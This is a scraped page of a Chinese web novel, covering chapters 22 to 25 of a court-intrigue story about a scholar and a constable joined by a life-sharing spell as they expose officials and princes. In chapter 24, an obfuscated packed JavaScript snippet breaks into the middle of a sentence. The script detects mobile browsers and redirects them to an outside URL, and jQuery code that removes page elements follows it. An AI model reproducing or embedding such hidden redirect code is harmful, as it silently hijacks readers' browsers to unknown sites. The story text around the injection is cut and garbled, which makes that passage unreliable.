外面传来衙役的禀报声:卧房搜过了，没有。花厅搜过了，没有。库房搜过了，也没有。 两个时辰，转眼就过了一半。 江清砚额头渗出冷汗。若搜不出证据，他不仅要辞去钦差之职，还要向柳文渊赔罪——那等于承认自己诬陷忠良，从此仕途尽毁。 不，一定有。 柳文渊如此有恃无恐，定是认为暗格足够隐蔽，没人能找到。 江清砚闭上眼睛，深吸一口气，强迫自己冷静。他开始回想周文远的话——账本在书房暗格。周文远既然知道，说明他可能见过，或者……听说过。 一个被下毒逐渐毁掉神智的人，记忆可能混乱，但某些深刻的片段，或许会留下。 书房……暗格……柳文渊…… 忽然，江清砚睁开眼睛，走到那几盆兰草前。 兰草种在青瓷花盆里，长势正好。但其中一盆的泥土，颜色似乎比其他几盆稍深一些，而且……盆底边缘，有一圈极细微的磨损痕迹。 他端起那盆兰草，入手一沉——比正常的花盆重得多。 江清砚将兰草拔 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谢云辞脸色一变，冲出书房。只见院子里，几个黑衣人正在与刑部兵士厮杀！那些黑衣人武功高强，出手狠辣，转眼间已放倒数人。 “保护江钦差！”谢云辞厉喝，拔刀迎上。 江清砚站在书房门口，看着院中的厮杀。那些黑衣人显然是来灭口的——他们要抢回账簿，或者……杀了他。 一个黑衣人突破重围，直扑书房！谢云辞被两人缠住，脱身不得，急得目眦欲裂:“清砚，退！” 江清砚没有退。他站在门口，看着黑衣人越来越近，手中已扣住几枚淬毒钢针。 但黑衣人的速度太快了，眨眼已到眼前！刀光如电，直劈面门！ 千钧一发之际，一道身影从侧面扑来，挡在江清砚身前—— 是谢云辞！ 他硬挨了对手一刀，血溅三尺，却反手一刀，刺穿了黑衣人的心脏！ “谢兄！”江清砚扶住他。 “没事……”谢云辞咬牙，伤口在左肩，深可见骨，血流如注，“账簿……送走了吗？” “送走了。” “那就好……”谢云辞松了口气，身体晃了晃。 江清砚连忙扶他坐下，撕下衣襟为他包扎。胸中那颗共同的心脏跳得又急又乱，他能感觉到谢云辞的痛，也能感觉到……生命力在流失。 “薛大夫……”他嘶声喊道，“快叫薛大夫！” 兵士们终于制服了剩余的黑衣人。薛大夫匆匆赶来，为谢云辞止血、上药、包扎。伤口虽深，但未伤及要害，总算没有性命之忧。 江清砚跪在谢云辞身边，握着他的手，脸色比伤者还白。 同生共死。 他终于真切地体会到这四个字的分量。 谢云辞看着他，扯出一个虚弱的笑:“哭什么……死不了……” 江清砚咬紧嘴唇，没说话，只是握紧了他的手。 两个时辰到了。 永昌帝的旨意也到了——柳文渊押入天牢，赵文远禁足府中，听候发落。江清砚护驾有功，赏黄金千两。谢云辞救驾有功，擢升一级。 但江清砚知道，这远不是结束。 赵文远背后，还有皇子。皇子背后，还有更大的势力。 而他和谢云辞，已经彻底站在了风暴的中心。 窗外，天亮了。 晨曦透过窗纸照进来，在满是血迹的地面上投下斑驳的光影。 江清砚扶着谢云辞，一步一步走出柳府。 府门外，围观的百姓指指点点，议论纷纷。有人叫好，有人唾骂，有人冷眼旁观。 这就是京城。 光鲜与污浊并存，正义与阴谋交织。 而他们的路，还要继续走下去。 因为有些真相，必须揭开。 有些公道，必须讨还。 无论前方是刀山，还是火海。 既然选择了同行，便没有退路。 23. 第 23 章 第二十三章以命作保 柳府的血迹尚未干透，朝堂的波澜已起。 早朝时，永昌帝当庭宣读了从柳文渊书房搜出的账簿。当“赵文远”三个字被念出时，满朝哗然。吏部侍郎，掌管天下官员铨选的二品大员，竟与水鬼帮勾结，染指科举——这是动摇国本的大罪。 赵文远当场跪地喊冤，说自己与柳文渊只是泛泛之交，从未收受过任何贿赂，账簿定是伪造。他声泪俱下，磕头如捣蒜，额头都磕出了血。 朝臣们面面相觑。有人怒斥赵文远祸国殃民，有人则为他说情，说赵侍郎为官三十年，勤勉廉洁，定是遭人陷害。朝堂上吵成一团，像炸开的蜂窝。 永昌帝冷眼看着，许久，才缓缓开口:“账簿真伪，自有三司会审定论。但在查清之前，赵文远禁足府中，不得离京。柳文渊押入天牢，严加看管。此案由江清砚主理，三司协办，务必查个水落石出。” 圣旨一下，再无人敢多言。 散朝后，江清砚被单独留下。 养心殿里，永昌帝屏退左右，看着他苍白却坚定的脸，忽然问:“江清砚，你怕不怕？” “怕。”江清砚如实答道，“但怕也要查。” “为什么？” “因为若学生不查，那些被水鬼帮掳走的人就白死了，那些被毁掉的人生就永远得不到公道。”江清砚抬起头，目光清澈，“陛下，读书人读的是圣贤书，求的是天下太平。若见不平而不敢言，遇奸邪而不敢查，那书，就白读了。” 永昌帝看着他，眼中闪过复杂的神色。许久，才轻叹一声:“你可知，赵文远背后是谁？” 江清砚沉默片刻，低声道:“学生不敢妄猜。” “是朕的三皇子。”永昌帝缓缓道，“赵文远是老三的舅舅。” 果然。 江清砚心头一沉。皇子牵扯其中，事情就复杂了——不，是凶险了。 “陛下……”他欲言又止。 “你想问，朕会不会包庇自己的儿子？”永昌帝苦笑，“朕是天子，也是父亲。但朕更知道，天子犯法，与庶民同罪。若老三真做了这等事……” 他没说下去，但意思已经明白。 江清砚跪地叩首:“陛下圣明。” “圣明？”永昌帝摇摇头，“朕若真圣明，就不会让水鬼帮猖獗这么多年，不会让科举沦为某些人谋私的工具。江清砚，朕给你权力，也给你责任。此案必须查清，但……也要有分寸。” 分寸。 这两个字重如千钧。 查，要查到什么程度？查到三皇子头上？那朝局会动荡，国本会动摇。不查？那真相永埋，冤魂不散。 江清砚明白了永昌帝的难处，也明白了自己的处境——他成了一枚棋子，一枚用来敲山震虎、却也随时可能被舍弃的棋子。 “学生明白。”他低声道，“学生会掌握分寸。” 永昌帝点头，挥挥手:“去吧。记住，保护好自己。你的命，现在不只属于你自己。” 这句话意有所指。 江清砚心中一动，想起谢云辞，想起那同生共死的联结。 “谢陛下关心。” 走出养心殿，阳光刺目。江清砚站在高高的台阶上，看着宫墙外熙熙攘攘的京城，忽然觉得一阵眩晕。 胸中那颗共同的心脏跳得沉重。谢云辞的伤还没好，此刻恐怕正在刑部后衙休养，却还要分担他的疲惫和压力。 同生共死。 这到底是恩赐，还是诅咒？ 他摇摇头，强迫自己振作。现在不是软弱的时候。 回到刑部，李崇明已经在等他。 “江钦差，”李崇明神色凝重，“赵文远府上出事了。” “什么？” “半个时辰前，赵府走水。”李崇明低声道，“火势很大，烧毁了大半房屋。最重要的是……赵文远的书房，被烧得一干二净。” 书房被烧。 江清砚立刻明白了——灭口，毁证。 “赵文远人呢？” “受了惊吓，但无大碍。”李崇明顿了顿，“他说是下人打翻烛台，意外失火。但我们的人查验现场，发现多处火点，显然是人为纵火。” “抓到纵火的人了吗？” “没有。”李崇明摇头，“火起时一片混乱，等扑灭火势，纵火的人早跑了。” 江清砚沉默。 对方动作太快了。账簿刚搜出来，赵府就失火，书房被毁——这是要掐断所有线索。 “还有一件事。”李崇明从袖中取出一封信，“今早有人用箭射进刑部衙门的，指名给你。” 信是素笺，只有一行字: “今夜子时，城隍庙见。若想救谢云辞，一个人来。” 谢云辞？！ 江清砚瞳孔骤缩。谢云辞不是在刑部后衙养伤吗？怎么会…… 他猛地转身，朝后衙奔去。 后衙厢房里，谢云辞果然不在。床上被褥凌乱，桌上还摆着未喝完的药碗，但人已不见踪影。窗棂上有轻微的划痕，像是被人从外面撬开。 江清砚的心沉到了谷底。 对方抓了谢云辞。 为什么？因为谢云辞是六扇门总捕，知道太多？还是因为……谢云辞与他性命相连，控制谢云辞，就等于控制了他？ “江钦差，”李崇明跟进来，看到空无一人的房间，脸色也变了，“我立刻派人全城搜索！” “不。”江清砚却摇头，声音异常平静，“他们抓谢兄，是为了引我出去。若大张旗鼓搜索，反而会害了谢兄。” “那……” “我去城隍庙。”江清砚转身，目光清亮，“一个人去。” “不行！”李崇明急道，“这明显是陷阱！他们抓了谢总捕，就是为了引你入瓮！你若去了，岂不是自投罗网？” “我知道是陷阱。”江清砚轻声道，“但谢兄在他们手里，我必须去。” “可你的身体……” “我没事。”江清砚从怀中取出薛大夫给的药瓶，倒出一粒药丸吞下，“李大人，若我子时未归，你就带人去城隍庙。但记住，要等我信号。” “什么信号？” 江清砚指了指胸口:“我和谢兄，有些特殊的联系。若我们有危险，你会知道的。” 他说得隐晦，李崇明却听明白了——同生共死之术，他是知道的。 “江钦差……”李崇明眼中闪过敬佩，也闪过担忧，“务必小心。” “我会的。” 子时的城隍庙，阴森可怖。 庙在京城西郊，早已荒废多年。断壁残垣，杂草丛生，只有那尊泥塑的城隍像还立在大殿里，漆皮剥落，露出里面灰白的泥胎，在月光下显得格外狰狞。 江清砚提着灯笼，独自走进庙门。 大殿里空无一人，只有夜风吹过破窗的呜咽声。他停下脚步，朗声道:“我来了。谢云辞在哪里？” 黑暗中，传来一声轻笑。 “江钦差果然重情重义。”一个嘶哑的声音响起，像是刻意伪装过，“谢总捕就在你身后。” 江清砚猛地转身。 只见大殿角落里，谢云辞被绑在一根柱子上，嘴上贴着布条，眼中满是焦灼。他肩上的伤口又裂开了，血浸透了绷带，在昏暗的光线下显得触目惊心。 而他身后，站着三个黑衣人，个个手持利刃，刀尖抵在谢云辞咽喉。 为首的黑衣人缓步走出阴影。他蒙着面，但身形、步态，江清砚一眼就认出来了—— 赵炎。 吏部侍郎之子，那个在悦来客栈挑衅他的纨绔。 “赵公子，”江清砚平静道，“何必藏头露尾？” 赵炎一愣，随即扯下面巾，露出那张傲慢的脸。他盯着江清砚，眼中满是恨意:“你害了我爹，毁了我赵家，今日，我要你偿命！” “你爹若清白，谁也害不了他。”江清砚淡淡道，“倒是你，绑架朝廷命官，该当何罪？” “罪？”赵炎冷笑，“等你们都死了，谁知道是我做的？城隍庙年久失修，夜里塌了，压死两个倒霉鬼，不是很合理吗？” 他说着，一挥手。两个黑衣人立刻上前，一左一右围住江清砚。 “江清砚，我给你两个选择。”赵炎走到谢云辞身边，刀尖在他脖子上轻轻划动，留下一道血痕，“第一，写下认罪书，承认是你陷害我爹，然后自尽。如此，我放谢云辞一条生路。” “第二呢？” “第二，”赵炎眼中闪过狠毒，“我当着你的面，一刀一刀剐了谢云辞，然后……再杀了你。” 江清砚看着谢云辞。后者虽不能言，但眼神坚定，在摇头——不要管我，快走。 他笑了。 那笑意很浅，却让赵炎心头莫名一寒。 “赵炎，你犯了个错误。”江清砚轻声道，“你不该把我和谢兄，分开来威胁。” “什么意思？” “意思就 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江清砚拖着赵炎疾退，险险避过一根砸下的横梁。但另外两个黑衣人就没那么幸运了，被埋在瓦砾下，生死不知。 烟尘弥漫，伸手不见五指。 江清砚死死按住赵炎，手中的匕首抵得更紧:“说！谁指使你来的？三皇子？” 赵炎哆嗦着，却咬紧牙关不说。 忽然，烟尘中传来一声轻微的机括声—— “咻！” 一支弩箭破空而来，直射江清砚后心！ 太快了！根本来不及躲！ 千钧一发之际，一道身影扑来，挡在他身前—— 是谢云辞！ 弩箭没入他右胸，血花溅了江清砚满脸。 “谢兄！”江清砚目眦欲裂。 谢云辞踉跄一步，却反手一刀，将暗处放冷箭的第四个黑衣人钉在墙上！然后身体一晃，软软倒下。 江清砚抱住他，手按在他胸口，能感觉到那颗共同的心脏跳得又急又乱，生命力在迅速流失。 “坚持住……”他嘶声道，从怀中摸出药瓶，将最后一粒保命药塞进谢云辞口中。 然后，他抬起头，看向赵炎，眼中第一次燃起了真正的杀意。 “赵炎，”他声音冰冷，“若谢兄有事，我要你赵家……满门陪葬。” 赵炎被他眼中的杀气震慑，竟说不出话来。 就在这时，庙外传来急促的马蹄声！ 李崇明带着刑部人马赶到了！ “江钦差！谢总捕！”李崇明冲进大殿，看到眼前景象，倒吸一口凉气，“快！叫大夫！” 兵士们一拥而上，将赵炎捆了个结实。大夫立刻为谢云辞诊治——弩箭虽深，但未伤及心脏，总算是不幸中的万幸。 江清砚跪在谢云辞身边，握着他的手，脸色比伤者还白。 他能感觉到，胸中那颗共同的心脏，跳得微弱却顽强。 同生共死。 这一次，他们又一起闯过了鬼门关。 “清砚……”谢云辞睁开眼，虚弱地笑了笑，“我没事……” “别说话。”江清砚按住他的唇，“保存体力。” 谢云辞点点头，又昏睡过去。 李崇明走过来，低声道:“赵炎招了。他说是三皇子指使的，要他杀了你，毁掉所有证据。三皇子承诺，事成之后，保他赵家无恙。” 三皇子。 终于，浮出水面了。 江清砚抬头，看向窗外。天边已泛起鱼肚白，新的一天即将开始。 而这场风暴，终于要迎来最后的对决。 “李大人，”他缓缓道，“我要进宫，面圣。” “现在？” “现在。”江清砚站起身，虽然脚步虚浮，眼神却异常坚定，“有些话，必须当面说清楚。” 李崇明看着他，许久，重重点头:“好，我陪你。” 晨光中，两人走出城隍庙的废墟。 身后，谢云辞被小心抬上马车，送往刑部救治。 前方，是巍峨的皇城，是最后的战场。 江清砚握紧了拳。 这一次，他要为谢云辞讨个公道。 也要为所有冤魂，讨个公道。 无论对方是谁。 哪怕是皇子。 24. 第 24 章 第二十四章狱中相望 养心殿的门在身后缓缓关上，沉重的声响在空旷的殿堂里回荡。江清砚跪在冰冷的金砖地上，额头的冷汗顺着鬓角滑落，滴在明黄色的地衣上，洇开一小片深色。 他已经跪了半个时辰。 永昌帝坐在御案后，一言不发，只是翻看着刑部呈上的奏折——那是关于昨夜城隍庙之事的详细禀报，附有赵炎的供词，以及从赵府废墟中抢救出的几封残信。 残信是赵文远与三皇子往来的密函，虽被火烧得只剩片语只言，但关键的字句还在:“漕运之利……可分……”“科举人选……需慎……”“柳文渊可用……” 铁证如山。 可永昌帝依旧沉默。 这种沉默，比雷霆震怒更可怕。江清砚能感觉到胸口那颗共同的心脏，跳得又快又乱——那是谢云辞的焦灼，通过联结传来。谢云辞此刻应该还在刑部后衙养伤，箭伤未愈，却还要为他担忧。 “江清砚。”永昌帝终于开口，声音平静得没有一丝波澜，“抬起头来。” 江清砚缓缓抬头。 永昌帝看着他苍白的脸，眼中闪过复杂的神色:“你可知，老三……三皇子，是朕最疼爱的儿子？” “臣知道。” “他母妃去得早，朕总觉得亏欠他，所以平日里纵容了些。”永昌帝放下奏折，站起身，在殿中踱步，“可朕没想到，他会做出这等事——勾结匪类，染指科举，甚至……杀人灭口。” 他停下脚步，看向江清砚:“依律，皇子犯法，与庶民同罪。但他是皇子，是朕的儿子。江清砚，若你是朕，你会如何处置？” 这个问题太沉重，江清砚沉默良久，才轻声道:“臣不敢妄测圣意。但臣以为，天子犯法，与庶民同罪，此言不虚。若因是皇子而轻纵，则国法何在？公道何在？” “公道？”永昌帝苦笑，“这天下，哪有什么绝对的公道。朕是天子，却也是父亲。手心手背都是肉，你让朕如何抉择？” 江清砚听出了话里的挣扎。永昌帝不是昏君，他知道该怎么做，却下不了决心——因为那不仅是国事，更是家事。 “陛下，”他叩首，“臣有一言，不知当讲不当讲。” “讲。” “三皇子所为，已非寻常过错。勾结匪类，是为不仁；染指科举，是为不义；杀人灭口，是为不德。如此不仁不义不德之人，纵是皇子，又如何担得起江山社稷？” 江清砚抬起头，目光清澈而坚定:“陛下是天下人的君父，不止是三皇子一人的父亲。若为了一子，而寒了天下人的心，失了大周的江山……那才是真正的不孝不慈。” 字字诛心。 永昌帝盯着他，许久，忽然长叹一声:“江清砚，你真是……胆大包天。” “臣只是尽臣子本分。” “好一个尽臣子本分。”永昌帝走回御案后，坐下，提起朱笔，在奏折上批了几个字，然后递给侍立的太监，“传旨:三皇子禁足府中，非诏不得出。赵文远、柳文渊押入天牢，三司会审，依律定罪。” 太监接过奏折，躬身退下。 永昌帝又看向江清砚:“至于你……揭发大案有功，但擅闯宫禁，惊扰圣驾，功过相抵。回去好生休养，待伤势痊愈，再行封赏。” “臣，谢陛下隆恩。” 江清砚叩首，心中却无半点喜悦。三皇子只是禁足，赵文远和柳文渊要三司会审——这意味着，此事还有变数。 但他知道，这已是永昌帝能做的极限。再逼，就是逼宫了。 “去吧。”永昌帝摆摆手，显得疲惫不堪，“朕……累了。” 江清砚退出养心殿。殿外阳光刺目，他眯了眯眼，胸中那颗心脏跳得渐渐平稳——谢云辞的焦灼退去了，取而代之的是一种深沉的疲惫。 同生共死。 他们一起闯过了这一关，但代价是……谢云辞的伤更重了。 江清砚加快脚步，他要立刻回刑部。 刑部大牢，天字号牢房。 这是关押重犯的地方，守卫森严，三步一岗，五步一哨。江清砚持钦差令牌，才得以进入。 牢房分两间，中间隔着铁栅栏。左边关着柳文渊，右边关着赵文远。两人都穿着囚服，戴着枷锁，但神色截然不同。 柳文渊坐在草铺上，闭目养神，仿佛不是坐牢，而是在禅修。听到脚步声，他睁开眼，看到江清砚，居然还笑了笑:“江钦差，又见面了。” 江清砚没理他，走到右边牢房前。 赵文远蜷缩在墙角，头发散乱，眼神涣散，嘴里喃喃自语，不知在说什么。听到动静，他猛地抬头，看到江清砚，眼中爆发出疯狂的恨意。 “是你！是你害了我！害了炎儿！”他扑到栅栏前，双手抓着铁栏，拼命摇晃，“我要杀了你！杀了你！” 江清砚静静看着他疯癫的样子，心中无悲无喜。这个曾经权倾朝野的吏部侍郎，如今不过是个可怜的疯子。 “赵大人，”他缓缓开口，“三皇子已被禁足。你，还有柳文渊，将面临三司会审。依律，勾结匪类、扰乱科举，是死罪。” 赵文远愣住，随即嘶声大笑:“死罪？哈哈……死罪？江清砚，你以为你赢了吗？告诉你，你永远赢不了！因为……” 他忽然压低声音，眼中闪过诡异的得意:“因为三皇子不会倒！他是皇子，是陛下的亲生儿子！陛下不会杀他，也不会杀我们！等风头过去，我们还会出来，还会……” “还会怎样？”江清砚打断他，“继续祸国殃民吗？” “祸国殃民？”赵文远冷笑，“这天下，本就是弱肉强食！我们不过是在规则里玩得更好罢了！江清砚，你太天真了！你以为你揭发了真相，就能改变什么？不，什么都不会变！权贵依旧是权贵，蝼蚁依旧是蝼蚁！” 他说得癫狂，却道出了某种残酷的真实。 江清砚沉默片刻，忽然问:“赵大人，你可还记得周文远？” 赵文远一愣。 “那个被你和水鬼帮掳走，被下毒毁掉神智的江南才子。”江清砚轻声道，“他今年才二十二岁。本该有锦绣前程，却因为你们的私欲，成了废人。” “还有李慕言，王璞，还有其他被掳的举子……他们也都是人，也有父母，也有梦想。可你们为了权势，为了钱财，把他们当货物一样买卖、毁坏。” 他顿了顿，声音更轻:“赵大人，你也有儿子。若赵炎被人如此对待，你会如何？” 赵文远张了张嘴，却说不出话。 “己所不欲，勿施于人。”江清砚转身，准备离开，“赵大人，好自为之。” “等等！”赵文远忽然喊道，“江清砚，你……你可知道，三皇子背后，还有谁？” 江清砚脚步一顿。 赵文远眼中闪过一丝挣扎，最终咬牙道:“是……是二皇子。” 二皇子？ 江清砚心头一震。三皇子和二皇子，一个母妃早逝，一个母族势大，在朝中本就是竞争关系。怎么会…… “你胡说！”隔壁牢房的柳文渊忽然开口，声音冰冷，“赵文远，死到临头，还想攀咬他人？” “我没有胡说！”赵文远嘶声道，“柳文渊，你以为我不知道？你表面上是三皇子的人，实则暗中与二皇子往来！那些账簿，那些书信，你都留了副本，就是准备必要时反咬一口，对不对？！” 柳文渊脸色骤变。 江清砚看着两人狗咬狗，心中寒意更甚。原来这潭水，比他想象的更深。 “继续说。”他看向赵文远。 赵文远喘着粗气，语速飞快:“二皇子早就想扳倒三皇子，所以暗中支持我们，让我们在水鬼帮的案子上做大，等时机成熟，就揭发出来，一举除掉三皇子这个对手。柳文渊就是二皇子安插在三皇子身边的钉子！” “你血口喷人！”柳文渊厉喝。 “我是不是血口喷人，你心里清楚！”赵文远转向江清砚，“江钦差，你若不信，可以去查柳文渊在城南的别院！那里藏着他与二皇子往来的密信！” 牢房里一片死寂。 江清砚看着两人，忽然觉得可笑。这些人为了权势，可以出卖任何人，包括自己的盟友。 “我会去查。”他最终道，“若属实，你们谁也跑不掉。” 说完，他转身离开。 身后传来赵文远癫狂的笑声和柳文渊的怒骂声，渐渐消失在甬道尽头。 走出大牢，阳光刺得江清砚眼睛发痛。他抬手挡了挡，胸口那颗共同的心脏忽然剧烈地跳动起来—— 是剧痛！ 谢云辞出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16863500|191730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事了！ 江清砚脸色煞白，拔腿就往刑部后衙跑。 后衙厢房里，谢云辞躺在床上，脸色惨白如纸。薛大夫正在为他施针，额头上全是汗珠。 “怎么回事？”江清砚冲进去，声音发颤。 “箭伤感染，引发高热。”薛大夫头也不抬，“再加上他本就失血过多，身体虚弱……情况不妙。” 江清砚跪在床边，握住谢云辞的手。那只手滚烫，却在微微颤抖。 “谢兄……”他低唤。 谢云辞艰难地睁开眼，看到他，扯出一个虚弱的笑:“你……回来了……” “嗯，我回来了。”江清砚握紧他的手，“你坚持住，薛大夫在救你。” “我没事……”谢云辞闭上眼睛，呼吸急促，“就是……有点累……” 他的声音越来越弱，最后几乎听不见。 江清砚的心揪紧了。他能感觉到，胸中那颗共同的心脏，跳得越来越慢，越来越弱。 同生共死。 若谢云辞撑不过去，他也会…… “薛大夫！”他嘶声喊道。 “我在尽力！”薛大夫手下银针飞快，扎入谢云辞几处大穴，“但他身体损耗太大，心脉已经……” 话未说完，谢云辞忽然剧烈咳嗽起来，咳出暗红色的血块！ “谢兄！”江清砚目眦欲裂。 薛大夫脸色大变，从药箱中取出一枚金针，对准谢云辞心口要穴，就要刺下—— “等等！”江清砚忽然抓住他的手。 “你做什么？！”薛大夫怒道，“不施针护住心脉，他撑不过一炷香！” 江清砚没说话，只是将薛大夫的手按在自己胸口。 薛大夫一愣，随即明白了——同生共死之术，两人的心脉是相连的。若谢云辞心脉衰竭，江清砚也会…… “你想用你的心脉，替他分担？”薛大夫声音发颤，“你疯了！你自己的心脉本就脆弱，若再分担他的伤，你会死的！” “那就一起死。”江清砚平静道，“薛大夫，施针吧。把我们……连在一起。” 薛大夫看着他，眼中满是震撼。许久，他咬了咬牙:“好！但你要答应我，若撑不住，立刻告诉我！” “我答应。” 金针刺下。 不是刺进谢云辞心口，而是刺进江清砚胸口——通过那奇妙的联结，将两人的心脉彻底贯通。 剧痛！ 像是有一把烧红的铁钳，狠狠攥住了心脏。江清砚闷哼一声，眼前阵阵发黑，几乎晕厥。 但他死死咬住嘴唇，强迫自己保持清醒。 他能感觉到，谢云辞的心跳，正在一点一点恢复。虽然微弱，但确实在恢复。 同生共死。 这一次，是真正的同生共死。 薛大夫的银针一根接一根扎下，药汁一勺接一勺喂下。时间一点点流逝，窗外从正午到黄昏，从黄昏到深夜。 江清砚始终跪在床边，握着谢云辞的手，一动不动。 他能感觉到自己的生命力在流逝，也能感觉到谢云辞的生命力在回归。这是一种诡异的平衡，像走钢丝，稍有不慎，就是双双殒命。 终于，在黎明时分，谢云辞的呼吸平稳下来，高热退了。 薛大夫长舒一口气，瘫坐在椅子上，浑身被汗浸透:“撑……撑过来了。” 江清砚松开谢云辞的手，身体晃了晃，向后倒去。 薛大夫连忙扶住他，探了探脉，脸色又是一变:“你……你的心脉……” “没事。”江清砚虚弱地笑了笑，“还活着，就好。” 窗外的天，亮了。 第一缕晨光照进厢房，落在两人身上。 谢云辞还在沉睡，脸色依旧苍白，但呼吸均匀。 江清砚靠坐在床边，胸中那颗共同的心脏，跳得缓慢却坚定。 同生共死。 他们又闯过了一关。 但江清砚知道，前方还有更大的风暴。 二皇子，三皇子，朝堂党争，皇子夺嫡…… 这些，都不是他和谢云辞能左右的。 可他们已经踏进了漩涡，就再也出不去了。 唯一能做的，就是握紧彼此的手，一起面对。 无论前方是什么。 25. 第 25 章 第二十五章禁术·心头血 谢云辞醒来的第七日，薛大夫终于松口，说他可以下床走动了，但不能剧烈活动，不能动气，尤其不能动武。 “至少三个月。”薛大夫板着脸，“你们两个，都得给我好好养着。再折腾，神仙也救不回来。” 江清砚在一旁温声应下，送走薛大夫后，转头看见谢云辞已经下了床，正扶着桌沿，试图提起那把雁翎刀。 “谢兄。”他无奈地唤道。 谢云辞动作一顿，若无其事地收回手:“我就看看。” “看也不行。”江清砚走过去，扶他坐下，“薛大夫说了，心脉的伤要慢慢养。你现在提刀，万一牵动伤口……” “知道了知道了。”谢云辞打断他，语气不耐，眼中却有一丝暖意，“啰嗦。” 窗外已是深秋。院中那棵老槐树的叶子落了大半，剩下几片枯黄的在枝头摇曳，风一吹，便打着旋儿飘落。阳光很好，透过窗纸照进来，在地上投下斑驳的光影。 江清砚在谢云辞对面坐下，从袖中取出一卷文书，推到他面前。 “这是什么？”谢云辞问。 “三司会审的初拟判决。”江清砚轻声道，“李大人让我先看看。” 谢云辞展开文书。上面密密麻麻写满了字，核心内容却很简单:赵文远、柳文渊勾结匪类、扰乱科举，罪证确凿，判斩立决，家产抄没，族人流放。陈文正同罪，但念其有悔过表现，判绞监候。至于水鬼帮余孽，一律处斩。 而三皇子……只字未提。 “三皇子呢？”谢云辞抬头。 “圣旨已下，三皇子禁足府中，非诏不得出。”江清砚平静道，“李大人说，这是陛下的底线。” 谢云辞沉默。 他当然明白。皇子犯法，能与庶民同罪已是难得，真要杀头，那是动摇国本。永昌帝能下旨禁足，已是最大的让步。 “那二皇子……” “没有证据。”江清砚摇头，“赵文远临死攀咬，空口无凭。柳文渊在城南的别院已经搜过，确实有些书信往来，但都是寻常问候，没有实质内容。二皇子那边也上疏自辩，说是柳文渊一厢情愿，自己绝无参与。” 他说着，轻叹一声:“李大人说，二皇子在朝中势力不小，又有太后撑腰，若无铁证，动不了。” 所以，这场震动朝野的大案，最终只能查到赵文远、柳文渊这一层。再往上，就查不动了。 谢云辞握紧了拳，又缓缓松开。 不甘心吗？当然。但他也知道，这就是朝堂。有些真相，永远无法完全揭开。 “那些被掳的举子呢？”他问。 “都找到了。”江清砚眼中终于有了一丝暖意，“周文远在薛大夫调理下，神智恢复了些，虽然记忆仍有缺失，但已能正常生活。李慕言、王璞中了进士，殿试后就能授官。其他几位，也都安排了去处，或回乡，或留在京城，总算是……有了着落。” 这大概是这场惨剧中，唯一值得安慰的事了。 谢云辞点点头，忽然想起什么:“水生呢？” “他走了。”江清砚望向窗外，“他说大仇已报，京城不是他该留的地方。临走前，他留了话，说若我们以后去江南，可以去苏州找他。” 走了啊。 那个沉默寡言却重情重义的青年，终究选择了江湖。 房间里一时安静下来。只有秋风穿过窗缝的呜咽声，还有远处隐约的市井喧哗。 良久，谢云辞忽然开口:“清砚，等这些事情了了，你想做什么？” 江清砚一怔。 这个问题，谢云辞问过，他也问过谢云辞。但当时他们都觉得前路茫茫，生死难料，不敢多想。 可现在……案子虽然未能尽如人意，但总算告一段落。他们也都还活着。 “我想……”江清砚轻声道，“回润州。那里山清水秀，适合养病。我们可以开间医馆，你当护卫，我当大夫。虽不能大富大贵，但……安稳。” 他说的是“我们”。 谢云辞心头一暖，却摇了摇头:“我不能走。” “为什么？” “我的仇还没报。”谢云辞声音低沉，“六扇门总捕这个身份，是我查案的最好掩护。若辞官回乡，就再难接触到那些人了。” 江清砚明白了。 谢云辞的家仇，牵扯到六年前的一桩旧案。当时谢父任兵部侍郎，因北疆军饷案被诬陷贪污，满门抄斩，只逃出谢云辞和姐姐两人。姐姐为护他而死，这仇，他不能不报。 “仇家是谁？”江清砚问。 谢云辞沉默片刻，才缓缓道:“当年主审军饷案的，是刑部侍郎周世昌。但他三年前就已病故。真正幕后之人……”他顿了顿，“我查了六年，线索都指向宫中。具体是谁，还不清楚。” 宫中。 又是宫中。 江清砚心头一沉。从水鬼帮到科举舞弊，从赵文远到柳文渊，再到皇子……这京城的水，实在太深了。 “我陪你。”他说。 谢云辞抬眼看他。 “我说过，你的仇，我帮你记着。”江清砚目光清澈而坚定，“既然要查，就一起查。你在六扇门，我在……或许可以考个功名，入朝为官。如此，内外呼应，总能查到真相。” 入朝为官。 谢云辞看着眼前这个清瘦苍白的书生，忽然想起初见那夜——破庙雨夜，他满身是血，这个书生却毫不犹豫地救了他。那时他只觉得这人傻，现在却明白，那不是傻，是骨子里的仁善和坚韧。 “科举舞弊案刚过，你若入朝，恐怕会被人针对。”谢云辞担忧道。 “那就让他们针对。”江清砚淡淡一笑，“我既然敢揭这个盖子，就不怕被人记恨。” 他说得轻松，谢云辞却知道这条路有多难。朝堂党争，比江湖厮杀更凶险，那是杀人不见血的战场。 “清砚……” “谢兄不必劝。”江清砚打断他，“我意已决。” 四目相对。 许久，谢云辞终于点头:“好。但你答应我，若有危险，立刻告诉我。” “我答应。” 窗外的阳光又移动了些，照在江清砚脸上，映得他苍白的皮肤几乎透明。谢云辞忽然注意到，他眼下的青黑比前几日更重了。 “你昨晚又没睡好？”他问。 江清砚摇头:“做了个梦。” “什么梦？” “梦见……”江清砚顿了顿，声音轻得像叹息，“梦见我爹娘。他们说，清砚，你要好好的。” 谢云辞心头一酸。他知道江清砚父母早逝，独自一人撑到今天，其中的艰辛，外人难以想象。 “他们若在天有灵，定会为你骄傲。”他轻声道。 江清砚笑了笑，没说话。 两人又聊了些闲话，大多是江清砚说，谢云辞听。说到润州的山水，说到江南的糕点，说到小时候爬树掏鸟窝的趣事……江清砚难得说了这么多话，谢云辞也难得耐心听着。 直到午后，李崇明派人来请，说三司会审的最终判决下来了，让江清砚过去看看。 江清砚起身，整理了一下衣襟，对谢云辞道:“我去去就回。你好好休息，别乱动。” “知道了。”谢云辞应道，目送他离开。 房门关上，房间里重归寂静。 